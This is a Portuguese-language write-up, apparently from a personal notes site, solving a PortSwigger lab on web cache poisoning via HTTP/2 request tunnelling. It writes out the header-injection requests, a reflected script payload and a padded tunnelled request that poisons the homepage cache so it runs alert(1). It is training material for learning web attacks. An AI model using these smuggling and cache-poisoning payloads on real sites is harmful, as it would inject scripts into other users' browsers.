> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# Envenenamento de Cache Web via Tunelamento de Requisição HTTP/2

### Envenenamento de cache da web por meio de tunelamento de requisições HTTP/2

Este laboratório é vulnerável ao smuggling de requisições porque o servidor frontal rebaixa as requisições HTTP/2 para HTTP/1.1 e não limpa corretamente alguns cabeçalhos de entrada. / O objetivo é envenenar o cache para que, quando a vítima visitar a página inicial, o navegador dela execute `alert(1)`. / Um usuário vítima acessa automaticamente a página a cada 15 segundos.

O servidor frontal não reutiliza conexões com o back-end. Portanto, ataques clássicos de smuggling não funcionam, mas o tunelamento de requisições continua utilizável.

Há um mecanismo de cache na página inicial.

<figure><img src="/files/c0a5af930238757eda9f63c86ae75783d1f645a1" alt=""><figcaption></figcaption></figure>

#### Forçar um rebaixamento para HTTP/1.1

Nos cabeçalhos, uma interpretação HTTP/1.1 pode ser imposta construindo o seguinte tipo:

{% code title="Valor" %}

```http
/post HTTP/1.1
Teste:
```

{% endcode %}

Embora isso gere um erro indicando que o `Teste` cabeçalho não existe, isso mostra que a requisição é reinterpretada pelo frontal.

<figure><img src="/files/eda1cdefe2447c59444220810082a7c8589918f4" alt=""><figcaption></figcaption></figure>

#### Injeção em um recurso estático

Ao direcionar o arquivo JavaScript do laboratório, observamos que adicionar um parâmetro semelhante a script é refletido na resposta

```http
/resources/labheader/js?<script>alert(0)</script>
```

O recurso, portanto, é sensível ao envenenamento de cache.

<figure><img src="/files/88225a90616ac439a87fccbdbf0e2015d5c73508" alt=""><figcaption></figcaption></figure>

#### Construção da Requisição Tunelizada

Em seguida, envie uma requisição adicional encapsulando uma nova consulta HTTP/1.1 no corpo:

```http
/ HTTP/1.1
Teste: testing

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

Esta carga é reinterpretada pelo servidor após o tunelamento. / O conteúdo injetado é reescrito na resposta do recurso JavaScript, permitindo envenenar o cache.

Quando a vítima revisita a página inicial, o navegador dela carrega esta versão envenenada e executa `alert(1)`.

<figure><img src="/files/b2d6e33b667df1c61da32066560fab29cc88cb75" alt=""><figcaption></figcaption></figure>


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